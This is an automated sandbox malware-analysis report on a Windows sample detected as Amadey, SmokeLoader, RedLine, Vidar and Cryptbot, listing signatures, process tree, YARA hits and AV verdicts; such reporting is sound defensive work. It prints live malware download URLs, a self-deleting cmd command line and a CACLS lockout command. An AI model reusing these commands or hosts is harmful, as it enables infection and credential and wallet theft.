Play interactive tour

Edit tour

Windows Analysis Report v72n86vFFq.exe

Overview

General Information

Sample Name:	v72n86vFFq.exe
Analysis ID:	531707
MD5:	1a430b2cbf785427c87c48d29a1a8c0f
SHA1:	e9b392c34c1bf0e42599bb561f111e3bcea7b3d9
SHA256:	1d1fc9d23aa14b4f484fb86c173c94084bc14a9f551747b6e06366649a229af5
Tags:	Amadeyexe
Infos:
Most interesting Screenshot:

Detection

Amadey Cryptbot RedLine SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Cryptbot

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade analysis by execution special instruction which cause usermode exception

Query firmware table information (likely to detect VMs)

Connects to many ports of the same IP (likely port scanning)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Hides threads from debuggers

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Del in CommandLine

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Checks for debuggers (devices)

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

v72n86vFFq.exe (PID: 7056 cmdline: "C:\Users\user\Desktop\v72n86vFFq.exe" MD5: 1A430B2CBF785427C87C48D29A1A8C0F)

v72n86vFFq.exe (PID: 1440 cmdline: "C:\Users\user\Desktop\v72n86vFFq.exe" MD5: 1A430B2CBF785427C87C48D29A1A8C0F)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

12F1.exe (PID: 6580 cmdline: C:\Users\user\AppData\Local\Temp\12F1.exe MD5: 31F17AD58D02772DF14EFAC37D416CD7)

1EAA.exe (PID: 5572 cmdline: C:\Users\user\AppData\Local\Temp\1EAA.exe MD5: 5115E5DAB211559A85CD0154E8100F53)

conhost.exe (PID: 6920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

1EAA.exe (PID: 6700 cmdline: C:\Users\user\AppData\Local\Temp\1EAA.exe MD5: 5115E5DAB211559A85CD0154E8100F53)

1EAA.exe (PID: 2740 cmdline: C:\Users\user\AppData\Local\Temp\1EAA.exe MD5: 5115E5DAB211559A85CD0154E8100F53)

361B.exe (PID: 6612 cmdline: C:\Users\user\AppData\Local\Temp\361B.exe MD5: DF13FAC0D8B182E4D8B9A02BA87A9571)

WerFault.exe (PID: 7140 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6612 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

44A2.exe (PID: 6852 cmdline: C:\Users\user\AppData\Local\Temp\44A2.exe MD5: 45D0A6BB2CA00643FB04BF15D4AAA2C9)

cmd.exe (PID: 2892 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 5588 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

51B3.exe (PID: 1368 cmdline: C:\Users\user\AppData\Local\Temp\51B3.exe MD5: D2331EDF10B3C0E6A5C8FEC0A1A6392E)

51B3.exe (PID: 5820 cmdline: C:\Users\user\AppData\Local\Temp\51B3.exe MD5: D2331EDF10B3C0E6A5C8FEC0A1A6392E)

305.exe (PID: 1380 cmdline: C:\Users\user\AppData\Local\Temp\305.exe MD5: CA16CA4AA9CF9777274447C9F4BA222E)

2340.exe (PID: 6508 cmdline: C:\Users\user\AppData\Local\Temp\2340.exe MD5: 97617914D6E8A6E3CBEE8A5E5FF39AA5)

2340.exe (PID: 2812 cmdline: C:\Users\user\AppData\Local\Temp\2340.exe MD5: 97617914D6E8A6E3CBEE8A5E5FF39AA5)

cmd.exe (PID: 4432 cmdline: C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe" /P "user:N MD5: F3BDBE3BB6F734E357235F4D5898582D)

hiftsuu (PID: 796 cmdline: C:\Users\user\AppData\Roaming\hiftsuu MD5: 1A430B2CBF785427C87C48D29A1A8C0F)

hiftsuu (PID: 6896 cmdline: C:\Users\user\AppData\Roaming\hiftsuu MD5: 1A430B2CBF785427C87C48D29A1A8C0F)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.814172336.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000004.00000002.736880382.0000000000540000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.737014881.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.854879480.0000000002051000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000000.830171711.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000000.820409193.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0x2fe30:$: VFZxUUFBT 0x8c890:$: VFZxUUFBT
0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.853177748.0000000000540000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000C.00000002.815844712.0000000002091000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
00000006.00000000.724058055.0000000004F41000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0xf68:$: VFZxUUFBT 0xba448:$: VFZxUUFBT
0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000014.00000000.829040256.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000002.938711812.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000000.832066411.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 12F1.exe PID: 6580	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 12F1.exe PID: 6580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1EAA.exe PID: 5572	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0x9d800:$: VFZxUUFBT 0xcbd24:$: VFZxUUFBT 0x1907a0:$: VFZxUUFBT 0x1fc127:$: VFZxUUFBT
Process Memory Space: 1EAA.exe PID: 5572	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 1EAA.exe PID: 2740	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 305.exe PID: 1380	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 305.exe PID: 1380	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
20.0.1EAA.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.0.1EAA.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.0.1EAA.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.0.1EAA.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.1EAA.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.0.1EAA.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.1EAA.exe.45835c0.2.raw.unpack	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0x39e88:$: VFZxUUFBT
10.2.1EAA.exe.45835c0.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
9.2.12F1.exe.ce0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.1EAA.exe.44e5e88.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.1EAA.exe.45835c0.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.1EAA.exe.44e5e88.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.1EAA.exe.2c0bae6.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x155f6:$x1: https://cdn.discordapp.com/attachments/
Click to see the 8 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Del in CommandLine

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\44A2.exe, ParentImage: C:\Users\user\AppData\Local\Temp\44A2.exe, ParentProcessId: 6852, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit, ProcessId: 2892

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://host-file-host-3.com/files/8723_1638191106_2017.exe	Avira URL Cloud: Label: malware
Source: http://host-file-host-3.com/files/5311_1638303032_7343.exe	Avira URL Cloud: Label: malware
Source: http://host-file-host-3.com/files/6096_1638289274_6885.exe	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-7000.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\305.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen2
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Avira: detection malicious, Label: HEUR/AGEN.1144480

Multi AV Scanner detection for submitted file

Show sources

Source: v72n86vFFq.exe

Virustotal: Detection: 32%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Metadefender: Detection: 37%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\2340.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\305.exe	Metadefender: Detection: 42%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\305.exe	ReversingLabs: Detection: 85%
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\361B.exe	ReversingLabs: Detection: 51%

Machine Learning detection for sample

Show sources

Source: v72n86vFFq.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\305.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\hiftsuu	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Joe Sandbox ML: detected

Source: 17.2.44A2.exe.4e0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 9.3.12F1.exe.2910000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 22.0.305.exe.1290000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 22.0.305.exe.1290000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 22.2.305.exe.1290000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 22.0.305.exe.1290000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 22.0.305.exe.1290000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen2

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\44A2.exe

Unpacked PE file: 17.2.44A2.exe.400000.0.unpack

Source: v72n86vFFq.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\361B.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49832 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: 2340.exe, 00000019.00000002.937037876.0000000003851000.00000004.00000001.sdmp, 2340.exe, 0000001F.00000000.915270893.0000000000400000.00000040.00000001.sdmp, 2340.exe, 0000001F.00000002.938653145.0000000000400000.00000040.00000001.sdmp, 2340.exe, 0000001F.00000000.899393554.0000000000400000.00000040.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000013.00000003.812857479.0000000002EF5000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812716030.0000000002EF5000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812563577.0000000004EFC000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdb{1d source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000013.00000003.815694930.0000000002EEF000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812703884.0000000002EEF000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: QC:\honohuredaseso\ditajexibu\45\rasuwolo-gelif.pdb source: 51B3.exe, 00000015.00000000.808085529.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000015.00000002.840399491.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000017.00000000.831520191.0000000000401000.00000020.00020000.sdmp, 51B3.exe.6.dr
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb source: 361B.exe, 0000000D.00000002.895424066.0000000000416000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.792550514.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 00000013.00000002.892891509.0000000005110000.00000002.00020000.sdmp, 361B.exe.6.dr
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb02`e@ source: 361B.exe, 0000000D.00000002.895424066.0000000000416000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.792550514.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 00000013.00000002.892891509.0000000005110000.00000002.00020000.sdmp, 361B.exe.6.dr
Source:	Binary string: r_C:\hacih_76\dozuzoso.pdb source: 44A2.exe, 00000011.00000000.800373192.0000000000401000.00000020.00020000.sdmp, 44A2.exe.6.dr
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000013.00000003.832216101.000000000515C000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: C:\hacih_76\dozuzoso.pdb source: 44A2.exe, 00000011.00000000.800373192.0000000000401000.00000020.00020000.sdmp, 44A2.exe.6.dr
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: C:\honohuredaseso\ditajexibu\45\rasuwolo-gelif.pdb source: 51B3.exe, 00000015.00000000.808085529.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000015.00000002.840399491.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000017.00000000.831520191.0000000000401000.00000020.00020000.sdmp, 51B3.exe.6.dr
Source:	Binary string: C:\repifuj_guwonip22\xenocuzoyipe\zijafohefejave.pdb source: v72n86vFFq.exe, hiftsuu.6.dr
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb}1b source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000013.00000003.812857479.0000000002EF5000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812716030.0000000002EF5000.00000004.00000001.sdmp
Source:	Binary string: msimg32.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000013.00000003.815694930.0000000002EEF000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812703884.0000000002EEF000.00000004.00000001.sdmp

Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: 0_2_004342F0 lstrlenW,BackupWrite,_wscanf,__wremove,_puts,__putw,__wrename,_atexit,GetBinaryTypeW,SetCurrentDirectoryW,QueueUserWorkItem,GetBinaryTypeW,SetCurrentDirectoryW,LeaveCriticalSection,QueryDosDeviceA,TerminateJobObject,EnumDateFormatsExA,GlobalAddAtomW,CreateJobSet,WriteProfileStringW,GetFullPathNameA,VirtualAlloc,GetCompressedFileSizeW,WriteConsoleOutputAttribute,SetNamedPipeHandleState,lstrcpynW,GetFileAttributesA,FatalAppExitW,GetCurrentProcess,IsBadWritePtr,SetUnhandledExceptionFilter,QueueUserWorkItem,GetProcessHandleCount,QueueUserWorkItem,EnumResourceNamesW,DeleteTimerQueueTimer,SetFileApisToANSI,FindResourceA,AllocateUserPhysicalPages,GetBinaryTypeA,OpenMutexA,GetModuleFileNameW,CommConfigDialogA,HeapSize,_memset,CommConfigDialogA,HeapSize,GetComputerNameA,OpenMutexW,GetConsoleCursorInfo,OpenSemaphoreA,ResetWriteWatch,CreateActCtxA,LoadLibraryW,WriteProfileStringA,GetConsoleCursorInfo,OpenSemaphoreA,SetUnhandledExceptionFilter,ResetWriteWatch,ChangeTimerQueueTimer,SetFilePointer,SetCommState,EnumSystemLocalesA,_lclose,SetSystemTimeAdjustment,_memset,GetCommConfig,EnumDateFormatsW,LocalUnlock,WriteConsoleInputW,GetConsoleAliasExesLengthW,GetAtomNameA,IsBadStringPtrA,CreateIoCompletionPort,SearchPathA,SetConsoleCursorPosition,GetVolumePathNamesForVolumeNameW,SetConsoleCP,MoveFileExW,EnumDateFormatsExW,UnregisterWaitEx,SetSystemTime,SetThreadExecutionState,CreateHardLinkW,HeapWalk,lstrcpyA,SetFileValidData,OutputDebugStringA,FreeEnvironmentStringsW,FindNextFileA,FreeEnvironmentStringsW,FindFirstFileW,FindNextFileA,InterlockedDecrement,InterlockedDecrement,WaitNamedPipeW,WritePrivateProfileStringA,LoadLibraryW,DefineDosDeviceA,SetConsoleTitleW,GetPrivateProfileIntA,OutputDebugStringA,InterlockedPushEntrySList,CreateActCtxA,VirtualLock,lstrcatW,WriteProfileStringA,TerminateProcess,WritePrivateProfileSectionA,GlobalMemoryStatus,UnmapViewOfFile,_memset,GetDefaultCommConfigA,GetTempPathW,WriteFileGather,FindFirstFileW,ContinueDebugEvent,GetThreadSelectorEntry,FatalAppExitA,DeleteVolumeMountPointA,GetStringTypeA,CreateSemaphoreW,CreateSemaphoreW,SetLocalTime,EnumTimeFormatsA,FindResourceExA,GetPrivateProfileSectionNamesA,SetStdHandle,CloseHandle,CloseHandle,DeleteFileW,EnumDateFormatsA,CreateSemaphoreW,GetNumberFormatA,ReadConsoleOutputW,PeekConsoleInputW